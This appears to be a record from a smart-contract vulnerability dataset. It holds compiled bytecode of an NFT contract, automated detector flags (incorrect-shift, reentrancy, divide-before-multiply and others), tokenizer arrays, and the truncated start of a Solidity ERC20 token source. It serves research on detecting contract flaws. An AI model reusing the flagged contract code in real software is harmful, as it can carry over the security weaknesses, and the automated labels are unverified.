5b6040516020016118419291906140a3565b604051602081830303815290604052612aa7565b61185f919061492b565b816000019060ff16908160ff168152505061192f60108054806020026020016040519081016040528092919081815260200182805480156118e557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff16815260200190600101906020826000010492830192600103820291508084116118ae5790505b5050505050610719611920601f6118fb88611d80565b60405160200161190c9291906140a3565b604051602081830303815290604052612aa7565b61192a919061492b565b612ada565b816020019060ff16908160ff16815250506119ff60128054806020026020016040519081016040528092919081815260200182805480156119b557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff168152602001906001019060208260000104928301926001038202915080841161197e5790505b50505050506105956119f0603e6119cb88611d80565b6040516020016119dc9291906140a3565b604051602081830303815290604052612aa7565b6119fa919061492b565b612ada565b816040019060ff16908160ff1681525050611acf6014805480602002602001604051908101604052809291908181526020018280548015611a8557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411611a4e5790505b5050505050610458611ac0603f611a9b88611d80565b604051602001611aac9291906140a3565b604051602081830303815290604052612aa7565b611aca919061492b565b612ada565b816060019060ff16908160ff1681525050611b9f6016805480602002602001604051908101604052809291908181526020018280548015611b5557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411611b1e5790505b5050505050610166611b906040611b6b88611d80565b604051602001611b7c9291906140a3565b604051602081830303815290604052612aa7565b611b9a919061492b565b612ada565b816080019060ff16908160ff1681525050611c6f6019805480602002602001604051908101604052809291908181526020018280548015611c2557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411611bee5790505b5050505050610531611c606041611c3b88611d80565b604051602001611c4c9291906140a3565b604051602081830303815290604052612aa7565b611c6a919061492b565b612ada565b8160a0019060ff16908160ff1681525050611d3f601c805480602002602001604051908101604052809291908181526020018280548015611cf557602002820191906000526020600020906000905b82829054906101000a900460ff1660ff1681526020019060010190602082600001049283019260010382029150808411611cbe5790505b5050505050610457611d306042611d0b88611d80565b604051602001611d1c9291906140a3565b604051602081830303815290604052612aa7565b611d3a919061492b565b612ada565b8160c0019060ff16908160ff1681525050611ceb831415611d77578060c0018051809190611d6c90614901565b60ff1660ff16815250505b80915050919050565b60606000821415611dc8576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050611edc565b600082905060005b60008214611dfa578080611de3906148b8565b915050600a82611df3919061469f565b9150611dd0565b60008167ffffffffffffffff811115611e1657611e15614a47565b5b6040519080825280601f01601f191660200182016040528015611e485781602001600182028036833780820191505090505b5090505b60008514611ed557600182611e61919061472a565b9150600a85611e70919061492b565b6030611e7c9190614649565b60f81b818381518110611e9257611e91614a18565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85611ece919061469f565b9450611e4c565b8093505050505b919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611fb2848484611586565b611fbe84848484612b58565b611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490614340565b60405180910390fd5b50505050565b606060006035612019846000015160ff16611d80565b603661202b866020015160ff16611d80565b603761203d886080015160ff16611d80565b6040516020016120529695949392919061415d565b60405160208183030381529060405290508060386120768560c0015160ff16611d80565b6039612088876040015160ff16611d80565b603a61209a8960a0015160ff16611d80565b603b6120ac8b6060015160ff16611d80565b603c6040516020016120c79a99989796959493929190613f98565b604051602081830303815290604052915050919050565b60606000600e836020015160ff16815481106120fd576120fc614a18565b5b90600052602060002001805461211290614855565b80601f016020809104026020016040519081016040528092919081815260200182805461213e90614855565b801561218b5780601f106121605761010080835404028352916020019161218b565b820191906000526020600020905b81548152906001019060200180831161216e57829003601f168201915b505050505090506000600f846020015160ff16815481106121af576121ae614a18565b5b9060005260206000200180546121c490614855565b80601f01602080910402602001604051908101604052809291908181526020018280546121f090614855565b801561223d5780601f106122125761010080835404028352916020019161223d565b820191906000526020600020905b81548152906001019060200180831161222057829003601f168201915b505050505090506000604051806020016040528060008152509050600060405180602001604052806000815250905060008660a0015160ff16111561230a57601f601760018860a00151612291919061475e565b60ff16815481106122a5576122a4614a18565b5b906000526020600020016020601860018a60a001516122c4919061475e565b60ff16815481106122d8576122d7614a18565b5b9060005260206000200160296040516020016122f8959493929190614231565b60405160208183030381529060405290505b60008660c0015160ff1611156123a8576021601a60018860c0015161232f919061475e565b60ff168154811061234357612342614a18565b5b906000526020600020016022601b60018a60c00151612362919061475e565b60ff168154811061237657612375614a18565b5b906000526020600020016029604051602001612396959493929190614231565b60405160208183030381529060405291505b6000601d6000815481106123bf576123be614a18565b5b90600052602060002001600d886000015160ff16815481106123e4576123e3614a18565b5b90600052602060002001601d60018154811061240357612402614a18565b5b9060005260206000200186601d60028154811061242357612422614a18565b5b906000526020600020016040516020016124419594939291906141e6565b60405160208183030381529060405290508085601d60038154811061246957612468614a18565b5b9060005260206000200187601d60048154811061248957612488614a18565b5b9060005260206000200188601d6005815481106124a9576124a8614a18565b5b906000526020600020018b601d6006815481106124c9576124c8614a18565b5b906000526020600020016040516020016124eb99989796959493929190613e5f565b60405160208183030381529060405290508084601d60078154811061251357612512614a18565b5b9060005260206000200187601d60088154811061253357612532614a18565b5b9060005260206000200188601d60098154811061255357612552614a18565b5b906000526020600020018b601d600a8154811061257357612572614a18565b5b9060005260206000200160405160200161259599989796959493929190613e5f565b6040516020818303038152906040529050806011886040015160ff16815481106125c2576125c1614a18565b5b90600052602060002001601d600b815481106125e1576125e0614a18565b5b9060005260206000200160118a6040015160ff168154811061260657612605614a18565b5b90600052602060002001601d600c8154811061262557612624614a18565b5b9060005260206000200161263e8a8a8e60400151612cef565b601d600d8154811061265357612652614a18565b5b9060005260206000200160138e6060015160ff168154811061267857612677614a18565b5b90600052602060002001601d600e8154811061269757612696614a18565b5b906000526020600020016040516020016126b999989796959493929190614024565b6040516020818303038152906040529050806126d88860600151612dbd565b6126e58960800151612f5b565b8585601d600f815481106126fc576126fb614a18565b5b9060005260206000200160405160200161271b96959493929190613d95565b60405160208183030381529060405295505050505050919050565b6060600082519050600081141561275f57604051806020016040528060008152509150506128c9565b600060036002836127709190614649565b61277a919061469f565b600461278691906146d0565b905060006020826127979190614649565b67ffffffffffffffff8111156127b0576127af614a47565b5b6040519080825280601f01601f1916602001820160405280156127e25781602001600182028036833780820191505090505b5090506000604051806060016040528060408152602001614ff1604091399050600181016020830160005b868110156128865760038101905062ffffff818a015116603f8160121c168401518060081b905060ff603f83600c1c1686015116810190508060081b905060ff603f8360061c1686015116810190508060081b905060ff603f831686015116810190508060e01b9050808452600484019350505061280d565b5060038606600181146128a057600281146128b0576128bb565b613d3d60f01b60028303526128bb565b603d60f81b60018303525b508484525050819450505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612943838383613135565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612986576129818161313a565b6129c5565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146129c4576129c38382613183565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a0857612a03816132f0565b612a47565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612a4657612a4582826133c1565b5b5b505050565b612a568383613440565b612a636000848484612b58565b612aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9990614340565b60405180910390fd5b505050565b600081604051602001612aba9190613d7e565b6040516020818303038152906040528051906020012060001c9050919050565b60008060009050600084600081518110612af757612af6614a18565b5b602002602001015160ff1690505b838111612b4d578180612b1790614901565b925050848260ff1681518110612b3057612b2f614a18565b5b602002602001015160ff1681612b469190614649565b9050612b05565b819250505092915050565b6000612b798473ffffffffffffffffffffffffffffffffffffffff1661360e565b15612ce2578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612ba26113e7565b8786866040518563ffffffff1660e01b8152600401612bc49493929190614297565b602060405180830381600087803b158015612bde57600080fd5b505af1925050508015612c0f57506040513d601f19601f82011682018060405250810190612c0c919061393c565b60015b612c92573d8060008114612c3f576040519150601f19603f3d011682016040523d82523d6000602084013e612c44565b606091505b50600081511415612c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c8190614340565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612ce7565b600190505b949350505050565b6060600060405180602001604052806000815250905060048360ff161115612d3f576023856024876029604051602001612d2d959493929190614112565b60405160208183030381529060405290505b600a8360ff161115612d7b57806026856027876029604051602001612d6996959493929190613f40565b60405160208183030381529060405290505b60108360ff161115612db257806028866029604051602001612da09493929190613f02565b60405160208183030381529060405290505b809150509392505050565b60606000604051806020016040528060008152509050600060188460ff161180612df9575060088460ff16118015612df8575060108460ff16105b5b15612f1f57600090505b6007811015612e8e57816030612e30601984612e1f91906146d0565b60af612e2b9190614649565b611d80565b6031612e53601986612e4291906146d0565b60af612e4e9190614649565b611d80565b6032604051602001612e6a96959493929190613f40565b60405160208183030381529060405291508080612e86906148b8565b915050612e03565b600090505b6006811015612f1e57816030612ec0601984612eaf91906146d0565b60bb612ebb9190614649565b611d80565b6033612ee3601986612ed291906146d0565b60bb612ede9190614649565b611d80565b6034604051602001612efa96959493929190613f40565b60405160208183030381529060405291508080612f16906148b8565b915050612e93565b5b600f8460ff161115612f5157816025604051602001612f3f929190613ede565b60405160208183030381529060405291505b8192505050919050565b606060008260ff161415612f8057604051806020016040528060008152509050613130565b60038260ff161015612ff45760018260ff161115612fc657602a602b602d604051602001612fb0939291906141b5565b6040516020818303038152906040529050613130565b602a602c602d604051602001612fde939291906141b5565b6040516020818303038152906040529050613130565b60038260ff1611156130a25760058260ff16111561303a57602e602f6029604051602001613024939291906141b5565b6040516020818303038152906040529050613130565b60048260ff16111561307457602e602b602960405160200161305e939291906141b5565b6040516020818303038152906040529050613130565b602e602c602960405160200161308c939291906141b5565b6040516020818303038152906040529050613130565b601e80546130af90614855565b80601f01602080910402602001604051908101604052809291908181526020018280546130db90614855565b80156131285780601f106130fd57610100808354040283529160200191613128565b820191906000526020600020905b81548152906001019060200180831161310b57829003601f168201915b505050505090505b919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161319084610c97565b61319a919061472a565b905060006007600084815260200190815260200160002054905081811461327f576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613304919061472a565b905060006009600084815260200190815260200160002054905060006008838154811061333457613333614a18565b5b90600052602060002001549050806008838154811061335657613355614a18565b5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806133a5576133a46149e9565b5b6001900381819060005260206000200160009055905550505050565b60006133cc83610c97565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156134b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a790614460565b60405180910390fd5b6134b98161137b565b156134f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134f090614380565b60405180910390fd5b61350560008383612938565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135559190614649565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6040518060e00160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff1681525090565b6000613686613681846145c0565b61459b565b9050828152602081018484840111156136a2576136a1614a7b565b5b6136ad848285614813565b509392505050565b6000813590506136c481614f94565b92915050565b6000813590506136d981614fab565b92915050565b6000813590506136ee81614fc2565b92915050565b60008151905061370381614fc2565b92915050565b600082601f83011261371e5761371d614a76565b5b813561372e848260208601613673565b91505092915050565b60008135905061374681614fd9565b92915050565b60006020828403121561376257613761614a85565b5b6000613770848285016136b5565b91505092915050565b600080604083850312156137905761378f614a85565b5b600061379e858286016136b5565b92505060206137af858286016136b5565b9150509250929050565b6000806000606084860312156137d2576137d1614a85565b5b60006137e0868287016136b5565b93505060206137f1868287016136b5565b925050604061380286828701613737565b9150509250925092565b6000806000806080858703121561382657613825614a85565b5b6000613834878288016136b5565b9450506020613845878288016136b5565b935050604061385687828801613737565b925050606085013567ffffffffffffffff81111561387757613876614a80565b5b61388387828801613709565b91505092959194509250565b600080604083850312156138a6576138a5614a85565b5b60006138b4858286016136b5565b92505060206138c5858286016136ca565b9150509250929050565b600080604083850312156138e6576138e5614a85565b5b60006138f4858286016136b5565b925050602061390585828601613737565b9150509250929050565b60006020828403121561392557613924614a85565b5b6000613933848285016136df565b91505092915050565b60006020828403121561395257613951614a85565b5b6000613960848285016136f4565b91505092915050565b60006020828403121561397f5761397e614a85565b5b600061398d84828501613737565b91505092915050565b61399f81614792565b82525050565b6139ae816147a4565b82525050565b60006139bf82614606565b6139c9818561461c565b93506139d9818560208601614822565b6139e281614a8a565b840191505092915050565b60006139f882614611565b613a02818561462d565b9350613a12818560208601614822565b613a1b81614a8a565b840191505092915050565b6000613a3182614611565b613a3b818561463e565b9350613a4b818560208601614822565b80840191505092915050565b60008154613a6481614855565b613a6e818661463e565b94506001821660008114613a895760018114613a9a57613acd565b60ff19831686528186019350613acd565b613aa3856145f1565b60005b83811015613ac557815481890152600182019150602081019050613aa6565b838801955050505b50505092915050565b6000613ae3602b8361462d565b9150613aee82614a9b565b604082019050919050565b6000613b0660328361462d565b9150613b1182614aea565b604082019050919050565b6000613b2960268361462d565b9150613b3482614b39565b604082019050919050565b6000613b4c601c8361462d565b9150613b5782614b88565b602082019050919050565b6000613b6f60248361462d565b9150613b7a82614bb1565b604082019050919050565b6000613b9260198361462d565b9150613b9d82614c00565b602082019050919050565b6000613bb5602c8361462d565b9150613bc082614c29565b604082019050919050565b6000613bd860388361462d565b9150613be382614c78565b604082019050919050565b6000613bfb602a8361462d565b9150613c0682614cc7565b604082019050919050565b6000613c1e60298361462d565b9150613c2982614d16565b604082019050919050565b6000613c4160208361462d565b9150613c4c82614d65565b602082019050919050565b6000613c64602c8361462d565b9150613c6f82614d8e565b604082019050919050565b6000613c8760208361462d565b9150613c9282614ddd565b602082019050919050565b6000613caa60298361462d565b9150613cb582614e06565b604082019050919050565b6000613ccd60218361462d565b9150613cd882614e55565b604082019050919050565b6000613cf060318361462d565b9150613cfb82614ea4565b604082019050919050565b6000613d13602c8361462d565b9150613d1e82614ef3565b604082019050919050565b6000613d36600d8361462d565b9150613d4182614f42565b602082019050919050565b6000613d59601f8361462d565b9150613d6482614f6b565b602082019050919050565b613d78816147fc565b82525050565b6000613d8a8284613a26565b915081905092915050565b6000613da18289613a26565b9150613dad8288613a26565b9150613db98287613a26565b9150613dc58286613a26565b9150613dd18285613a26565b9150613ddd8284613a57565b9150819050979650505050505050565b6000613df9828b613a26565b9150613e05828a613a26565b9150613e118289613a57565b9150613e1d8288613a26565b9150613e298287613a57565b9150613e358286613a26565b9150613e418285613a57565b9150613e4d8284613a26565b91508190509998505050505050505050565b6000613e6b828c613a26565b9150613e77828b613a26565b9150613e83828a613a57565b9150613e8f8289613a26565b9150613e9b8288613a57565b9150613ea78287613a26565b9150613eb38286613a57565b9150613ebf8285613a26565b9150613ecb8284613a57565b91508190509a9950505050505050505050565b6000613eea8285613a26565b9150613ef68284613a57565b91508190509392505050565b6000613f0e8287613a26565b9150613f1a8286613a57565b9150613f268285613a26565b9150613f328284613a57565b915081905095945050505050565b6000613f4c8289613a26565b9150613f588288613a57565b9150613f648287613a26565b9150613f708286613a57565b9150613f7c8285613a26565b9150613f888284613a57565b9150819050979650505050505050565b6000613fa4828d613a26565b9150613fb0828c613a57565b9150613fbc828b613a26565b9150613fc8828a613a57565b9150613fd48289613a26565b9150613fe08288613a57565b9150613fec8287613a26565b9150613ff88286613a57565b91506140048285613a26565b91506140108284613a57565b91508190509b9a5050505050505050505050565b6000614030828c613a26565b915061403c828b613a57565b9150614048828a613a57565b91506140548289613a57565b91506140608288613a57565b915061406c8287613a26565b91506140788286613a57565b91506140848285613a57565b91506140908284613a57565b91508190509a9950505050505050505050565b60006140af8285613a57565b91506140bb8284613a26565b91508190509392505050565b60006140d38288613a57565b91506140df8287613a26565b91506140eb8286613a26565b91506140f78285613a26565b91506141038284613a57565b91508190509695505050505050565b600061411e8288613a57565b915061412a8287613a26565b91506141368286613a57565b91506141428285613a26565b915061414e8284613a57565b91508190509695505050505050565b60006141698289613a57565b91506141758288613a26565b91506141818287613a57565b915061418d8286613a26565b91506141998285613a57565b91506141a58284613a26565b9150819050979650505050505050565b60006141c18286613a57565b91506141cd8285613a57565b91506141d98284613a57565b9150819050949350505050565b60006141f28288613a57565b91506141fe8287613a57565b915061420a8286613a57565b91506142168285613a26565b91506142228284613a57565b91508190509695505050505050565b600061423d8288613a57565b91506142498287613a57565b91506142558286613a57565b91506142618285613a57565b915061426d8284613a57565b91508190509695505050505050565b60006020820190506142916000830184613996565b92915050565b60006080820190506142ac6000830187613996565b6142b96020830186613996565b6142c66040830185613d6f565b81810360608301526142d881846139b4565b905095945050505050565b60006020820190506142f860008301846139a5565b92915050565b6000602082019050818103600083015261431881846139ed565b905092915050565b6000602082019050818103600083015261433981613ad6565b9050919050565b6000602082019050818103600083015261435981613af9565b9050919050565b6000602082019050818103600083015261437981613b1c565b9050919050565b6000602082019050818103600083015261439981613b3f565b9050919050565b600060208201905081810360008301526143b981613b62565b9050919050565b600060208201905081810360008301526143d981613b85565b9050919050565b600060208201905081810360008301526143f981613ba8565b9050919050565b6000602082019050818103600083015261441981613bcb565b9050919050565b6000602082019050818103600083015261443981613bee565b9050919050565b6000602082019050818103600083015261445981613c11565b9050919050565b6000602082019050818103600083015261447981613c34565b9050919050565b6000602082019050818103600083015261449981613c57565b9050919050565b600060208201905081810360008301526144b981613c7a565b9050919050565b600060208201905081810360008301526144d981613c9d565b9050919050565b600060208201905081810360008301526144f981613cc0565b9050919050565b6000602082019050818103600083015261451981613ce3565b9050919050565b6000602082019050818103600083015261453981613d06565b9050919050565b6000602082019050818103600083015261455981613d29565b9050919050565b6000602082019050818103600083015261457981613d4c565b9050919050565b60006020820190506145956000830184613d6f565b92915050565b60006145a56145b6565b90506145b18282614887565b919050565b6000604051905090565b600067ffffffffffffffff8211156145db576145da614a47565b5b6145e482614a8a565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000614654826147fc565b915061465f836147fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156146945761469361495c565b5b828201905092915050565b60006146aa826147fc565b91506146b5836147fc565b9250826146c5576146c461498b565b5b828204905092915050565b60006146db826147fc565b91506146e6836147fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561471f5761471e61495c565b5b828202905092915050565b6000614735826147fc565b9150614740836147fc565b9250828210156147535761475261495c565b5b828203905092915050565b600061476982614806565b915061477483614806565b9250828210156147875761478661495c565b5b828203905092915050565b600061479d826147dc565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015614840578082015181840152602081019050614825565b8381111561484f576000848401525b50505050565b6000600282049050600182168061486d57607f821691505b60208210811415614881576148806149ba565b5b50919050565b61489082614a8a565b810181811067ffffffffffffffff821117156148af576148ae614a47565b5b80604052505050565b60006148c3826147fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156148f6576148f561495c565b5b600182019050919050565b600061490c82614806565b915060ff8214156149205761491f61495c565b5b600182019050919050565b6000614936826147fc565b9150614941836147fc565b9250826149515761495061498b565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f696e76616c696420636c61696d00000000000000000000000000000000000000600082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b614f9d81614792565b8114614fa857600080fd5b50565b614fb4816147a4565b8114614fbf57600080fd5b50565b614fcb816147b0565b8114614fd657600080fd5b50565b614fe2816147fc565b8114614fed57600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa264697066735822122004648e75424ef98bb4ea014ac070c10e02ee3ed4acab04389361d3ff4abc2acc64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 16086, 2497, 2581, 2050, 2575, 9818, 2094, 19961, 2487, 2278, 2683, 2683, 2575, 2620, 22610, 2509, 2546, 2581, 10322, 2546, 2094, 2683, 4783, 2620, 23833, 12879, 2094, 27009, 2683, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1030, 2516, 1024, 2006, 24925, 2078, 8202, 14839, 1013, 1013, 1030, 3166, 1024, 15876, 5657, 2361, 1013, 1013, 1013, 1013, 2006, 4677, 1052, 22540, 3074, 1997, 2184, 2243, 4310, 6337, 4871, 2007, 1996, 2206, 5144, 1024, 1013, 1013, 1011, 1037, 2309, 28855, 14820, 12598, 2580, 2673, 1013, 1013, 1011, 2035, 27425, 2006, 4677, 1013, 1013, 1011, 2035, 4871, 2006, 4677, 1999, 17917, 2290, 4289, 1013, 1013, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,004
0x960bea9c686953e218b075c7093d39ebc43b4e25
/* ████████╗██╗░░██╗░█████╗░██████╗░  ░██████╗██╗░░██╗░█████╗░██████╗░███████╗ ╚══██╔══╝██║░░██║██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔══██╗██╔══██╗██╔════╝ ░░░██║░░░███████║██║░░██║██████╔╝  ╚█████╗░███████║███████║██████╔╝█████╗░░ ░░░██║░░░██╔══██║██║░░██║██╔══██╗  ░╚═══██╗██╔══██║██╔══██║██╔══██╗██╔══╝░░ ░░░██║░░░██║░░██║╚█████╔╝██║░░██║  ██████╔╝██║░░██║██║░░██║██║░░██║███████╗ ░░░╚═╝░░░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝  ╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚═╝╚══════╝ */ pragma solidity ^0.5.0; // import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol"; contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is 